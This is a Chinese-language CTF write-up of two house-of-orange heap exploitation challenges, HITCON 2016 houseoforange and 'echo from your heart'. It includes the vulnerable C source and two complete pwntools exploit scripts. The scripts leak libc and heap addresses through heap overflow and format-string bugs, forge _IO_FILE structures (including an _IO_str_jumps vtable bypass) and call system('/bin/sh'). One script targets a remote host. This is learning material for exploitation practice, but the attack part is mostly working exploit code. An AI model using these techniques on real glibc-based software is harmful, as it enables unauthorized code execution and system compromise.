两道经典的house of orange例题

house of orange的两道经典例题进行了分析。

源程序和相关文件下载:http://file.eonew.cn/ctf/pwn/house_of_orange.zip

house-of-orange-500

该题来自Hitcon 2016 houseoforange,算的上是house of orange的开山之作,非常经典。

当时的靶机的环境是glibc-2.23,并且是初代的,之后的glibc-2.23也是可以利用的,但是偏移略有误差。

安全防护

ex@Ubuntu:~/house$ checksec houseoforange
[*] '/home/ex/house/houseoforange'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

溢出点

标准的堆溢出,在Upgrade函数中size有用户控制。

思路

构造house of orange

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

# for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
#     signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = "amd64"
# context.arch = "i386"
# context.log_level = 'debug'
execve_file = './houseoforange'
sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('eonew.cn', 60107)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc-2.23.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    # b malloc.c:3472
    # b malloc.c:5007
    # b libc_fatal.c:141
    # b abort
    b genops.c:779
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Build(length, name):
    sh.sendlineafter('Your choice : ', '1')
    sh.sendlineafter('Length of name :', str(length))
    sh.sendafter('Name :', name)
    sh.sendlineafter('Price of Orange:', '1')
    sh.sendlineafter('Color of Orange:', '1')

def Upgrade(length, name):
    sh.sendlineafter('Your choice : ', '3')
    sh.sendlineafter('Length of name :', str(length))
    sh.sendafter('Name:', name)
    sh.sendlineafter('Price of Orange:', '1')
    sh.sendlineafter('Color of Orange:', '1')

Build(0x3f8, '\n')
# pause()
Upgrade(0x500, 'a' * 0x410 + p64(0) + p64(0xbc0))
Build(0x1000, '\n')

# large bin
Build(0x3f8, 'b' * 8)

# leak libc addr
sh.sendlineafter('Your choice : ', '2')
sh.recvuntil('b' * 8)
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 0x618
log.success('main_arena_addr: ' + hex(main_arena_addr))

# libc_addr = main_arena_addr - 0x389b20
libc_addr = main_arena_addr - 0x3c4b20
log.success('libc_addr: ' + hex(libc_addr))

Upgrade(0x100, 'c' * 0x10)

# leak heap addr
sh.sendlineafter('Your choice : ', '2')
sh.recvuntil('c' * 0x10)
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0x4a0
log.success('heap_addr: ' + hex(heap_addr))

layout = [
    'd' * 0x410,
    # top_chunk
    '/bin/sh\0', p64(0x61),
    p64(0), p64(main_arena_addr + 0xa00 - 0x10), # p64(libc_addr + libc.symbols['__GI__IO_list_all'] - 0x10),
    p64(2), p64(3),

    'z' * 8, p64(0),
    p64(0), p64(libc_addr + libc.symbols['system']),

    'e' * 0x70, 
    p64(0), p64(0), # 0xc0

    p64(0), p64(heap_addr + 0x8f0)
]

Upgrade(0x1000, flat(layout))

sh.sendlineafter('Your choice : ', '1')

# sh.sendline('id')
# print(sh.recv())

sh.interactive()
clear()

echo from your heart

靶机环境是glibc-2.24

针对于glibc-2.24vtable检查的一种绕过机制。

安全防护

ex@Ex:~/test$ checksec echo_from_your_heart
[*] '/home/ex/test/echo_from_your_heart'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void init() {
    setbuf(stdin, 0);
    setbuf(stdout,0);
    setbuf(stderr,0);
    alarm(20);
}

unsigned int read_num() {
    unsigned char buffer[10];
    int i;
    for(i = 0;i < 9;i++) {
        buffer[i] = getchar();
        if(buffer[i] == '\n') {
            break;
        }
    }
    if(buffer[i] == '\n') {
        buffer[i] = 0;
    }
    return strtoul(buffer,0,0);
}

int main() {
    init();
    printf("echo from your heart\n");
    int i=5;
    while(i) {
        printf("lens of your word: ");
        unsigned int size = read_num();
        if(size > 0x1000) {
            printf("too long\n");
            exit(1);
        }
        unsigned char* buffer = (unsigned char*) malloc(size);
        printf("word: ");
        gets(buffer);
        printf("echo: ");
        printf(buffer);
        printf("\n");
        i--;
    }
}

溢出点很明显了,标志性的格式化字符串漏洞和堆溢出。

思路

  1. 格式化字符串泄露地址
  2. house of orange

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = "amd64"
# context.arch = "i386"
# context.log_level = 'debug'
execve_file = './echo_from_your_heart'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
elf = ELF(execve_file)
# libc = ELF('./libc-2.24.so')
libc = ELF('/glibc/glibc-2.26/debug_x64/lib/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''

    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def malloc(size, content):
    sh.sendlineafter('lens of your word: ', str(size))
    sh.sendlineafter('word: ', content)

# pause()
malloc(0x18, 'a' * 0x10 + p64(0) + p64(0xd91))

malloc(0x1000, '%d' * 7 + '#' + '%ld')
# pause()
sh.recvuntil('#')
# libc_addr = int(sh.recvline()) - 241 - libc.symbols['__libc_start_main']
# libc_addr = int(sh.recvline()) - 385 - libc.symbols['__libc_start_main'] # 2.24
libc_addr = int(sh.recvline()) - 267 - libc.symbols['__libc_start_main'] # 2.26
log.success("libc_addr: " + hex(libc_addr))

layout = [
    p64(0), p64(0x61),
    p64(0), p64(libc_addr + libc.symbols['_IO_list_all'] - 0x10),
    p64(2), p64(3),
    p64(0), p64(libc_addr + libc.search('/bin/sh\0').next()),
    'b' * 0x80,
    p64(0), 
]

payload = flat(layout).ljust(0xd8, 'c') + p64(libc_addr + libc.symbols['_IO_str_jumps'] - 8) + p64(0) + p64(libc_addr + libc.symbols['system'])

malloc(0x18,'d' * 0x10 + payload)

# pause()
sh.sendline('24')

sh.interactive()
clear()